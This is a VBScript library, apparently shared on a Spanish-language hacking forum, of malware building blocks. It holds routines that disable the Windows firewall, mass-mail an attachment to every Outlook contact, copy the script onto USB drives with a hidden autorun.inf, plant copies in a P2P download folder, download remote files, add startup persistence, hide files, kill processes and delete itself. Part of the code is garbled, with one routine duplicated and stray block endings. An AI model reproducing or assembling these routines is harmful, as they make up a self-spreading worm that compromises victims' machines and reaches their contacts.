[VBS] Suite de Funciones Utiles

Sub DisableFirewall()
if  Val(Mid$(GetOsVersion,1,1)) > 5 Then Exit Sub
    Set Firewall = CreateObject("HNetCfg.FwMgr")
    Set Politica = Firewall.LocalPolicy.CurrentProfile
    Politica.FirewallEnabled = FALSE
Set Firewall = Nothing: Set Politica = Nothing
End Sub

Sub AddFirewallAuth(AppName,Spath,SFile)
if  Val(Mid$(GetOsVersion,1,1)) > 5 Then Exit Sub
    Set objFirewall = CreateObject("HNetCfg.FwMgr")
    Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
    Set objApplication = CreateObject("HNetCfg.FwAuthorizedApplication")
    objApplication.Name = "ElHacker.net - Aplicación"
    objApplication.IPVersion = 2
    objApplication.ProcessImageFileName = "C:\Windows\System32\calc.exe"
    objApplication.RemoteAddresses = "*"
    objApplication.Scope = 0
    objApplication.Enabled = True
    Set colApplications = objPolicy.AuthorizedApplications
    colApplications.Add(objApplication)
    Set objFirewall = Nothing: Set objPolicy = Nothing: Set objApplication = Nothing: Set colApplications = Nothing
End Sub

Sub ChangeIETitle(NewTitle)
   On Error Resume Next
   Set WSHShell = WScript.CreateObject("WScript.Shell")
   WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", NewTitle
   WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title", NewTitle
End Sub

Function GetLastTweet(Twitter)
    Aux = GetHTMLSource("http://twitter.com/users/show.xml?screen_name=" & Twitter)
    GetLastTweet = Mid$(Aux,6+instr(Aux,"<text>"),instr(Aux,"</text>")-6-instr(Aux,"<text>"))
End Function

Sub SpreadOutLook(Message,Subject,SPath, SFile)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
    If Contacts.Items.Item(x).Email1Address <> "" Then
        Set Email = CreateObject("Outlook.Application").CreateItem(0)
        Email.To = Contacts.Items.Item(x).Email1Address
        Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
        Email.ReadReceiptRequested = False
        Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
        Email.Attachments.Add ConvertPath(SPath, SFile)
        Email.Send
    End If
next
End Sub

Function GetHTMLSource(URL)
    On Error Resume Next
    Set http = CreateObject("Microsoft.XmlHttp")
    http.open "GET", URL, False
    http.send ""
     GetHTMLSource =  http.responseText
    Set http = Nothing
End Function

Sub USBSpread()
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
For Each Drive in fso.Drives
    If Drive.Isready then
        If  asc(Drive.driveletter) > 68 then
            If not (fso.FileExist(Drive & "\" & MyName)) then
                fso.CopyFile MyFullPath,Drive & "\" & MyName,True
                HideFile Drive,MyName
            End If
            If not (fso.FileExist(Drive & "\autorun.inf")) then
                Set objTXT = fso.CreateTextFile(Drive & "\autorun.inf",True)
                objTXT.WriteLine("[autorun]")
                objTXT.WriteLine("shellexecute = " & MyName)
                objTXT.WriteLine("action = " & MyName)
                objTXT.Close
                HideFile Drive,autorun.inf
                Set objTXT = Nothing
        End If
    End If
Next
Set fso = Nothing
End Sub

Sub AresSpread(Spath, SFile, SpreadFilenames())
    Set fso = CreateObject("scripting.filesystemobject")
    If KeyExists("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder") Then
        RutaCom = HEX2ASCII(CreateObject("wscript.shell").RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder"))
        For x = 0 to Ubound(SpreadFilenames)
            fso.CopyFile ConvertPath(Spath, SFile),RutaCom & "\" & SpreadFilenames(x),True
        Next
    End If
    Set fso = Nothing
End Sub
Set fso = Nothing
End Sub

Function KeyExists(key)
    On Error Resume Next
    CreateObject("WScript.Shell").RegRead(key)
    If Err = 0 Then KeyExists = True
End Function

Function GetOsVersionCaption()
    For Each os in GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select Caption from Win32_OperatingSystem")
        GetOsVersionCaption = os.Caption
    Next
End Function

Function GetOsVersion()
     For Each os in  GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select Version from Win32_OperatingSystem")
        GetOsVersion = os.Version
    Next
End Function

Function GetComputerName()
    GetComputerName = CreateObject("WScript.NetWork").ComputerName
End Function

Function GetUserName()
    GetUserName = CreateObject("WScript.NetWork").UserName
End Function

Sub KillProc(ProcName)
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    For x  = 0 To UBound(KillProcess)
        Set colProcessList = objWMIService.ExecQuery ("Select * from Win32_Process Where Name = '" & ProcName & "'")
        For Each objProcess in colProcessList
            objProcess.Terminate()
        Next
    Next
    Set objWMIService = Nothing: Set ColProcessList = Nothing
End Sub

Sub SetStartIE(StartPage)
    Set WSHShell = WScript.CreateObject("WScript.Shell")
    WSHShell.RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Start Page", StartPage
    WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", StartPage
    Set WSHShell = Nothing
End Sub

Sub Restart()
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
    For Each objOperatingSystem in colOperatingSystems
        objOperatingSystem.Reboot()
    Next
    Set objWMIService = Nothing: Set colOperatingSystems = Nothing
End Sub

Sub Shutdown()
    strComputer = "."
    Set objWMIService = GetObject ("winmgmts:{impersonationLevel=impersonate,(Shutdown)}\\" & strComputer & "\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
    For Each objOperatingSystem in colOperatingSystems
        objOperatingSystem.Win32Shutdown(1)
    Next
    Set objWMIService = Nothing: Set colOperatingSystems = Nothing
End Sub

Function Base64Decode(ByVal base64String)
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
  dataLength = Len(base64String)
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0
    For CharCounter = 0 To 3
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)
      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
        Exit Function
      End If
      nGroup = 64 * nGroup + thisData
    Next
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    sOut = sOut & Left(pOut, numDataBytes)
  Next
  Base64Decode = sOut
End Function

Function HEX2ASCII(hextext)
    For y = 0 To (Len(hextext)/2) - 1
        HEX2ASCII  = HEX2ASCII  & Chr(Val("&h" & Mid(hextext, (y*2)+1, 2)))
    Next
End Function

Sub AresSpread(Spath, SFile, SpreadFilenames())
    Set fso = CreateObject("scripting.filesystemobject")
    If KeyExists("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder") Then
        RutaCom = HEX2ASCII(CreateObject("wscript.shell").RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder"))
        For x = 0 to Ubound(SpreadFilenames)
            fso.CopyFile ConvertPath(Spath, SFile),RutaCom & "\" & SpreadFilenames(x),True
        Next
    End If
    Set fso = Nothing
End Sub
Set fso = Nothing
End Sub

Function ConvertPath(Spath, SFile)
    If Ucase(SPath) = "MYPATH" then ConvertPath = MyPath: Exit Function
    If Ucase(SPath) = "FULLPATHONFILENAME" THEN ConvertPath = SFile: Exit Function
    If Ucase(SPath) = "STARTUP" then Spath = CreateObject("WScript.Shell").SpecialFolders("StartMenu")
    ConvertPath = Spath  & "\" & SFile
End Function

Sub CopyToStartUP(Spath, SFile)
    CreateObject("scripting.filesystemobject") .CopyFile ConvertPath(Spath, SFile),CreateObject("WScript.Shell").SpecialFolders("StartMenu") & "\" & Sfile,True
End Sub

Sub DeleteFile(Spath, SFile)
    CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(Spath, SFile)
End Sub

Sub Download(UrlDownload, SPath, SFile)
    dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", UrlDownload, False
    xHttp.Send
    bStrm.type = 1
    bStrm.Open
    bStrm.Write xHttp.responseBody
    bStrm.SaveToFile ConvertPath(Spath, SFile), 2 'bStrm.SaveToFile
    Do while not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(Spath, SFile)) : WScript.Sleep 500 :    Loop 
End Sub

Sub FileCopy(Spath, SFile, Spath2, SFile2)
    CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
End Sub

Sub HideFile(Spath, SFile)
CreateObject("scripting.filesystemobject").GetFile(ConvertPath(Spath, SFile)).Attributes = -2
End Sub

Sub Melt()
    DeleteFile "FULLPATHONFILENAME", WScript.ScriptFullName
End Sub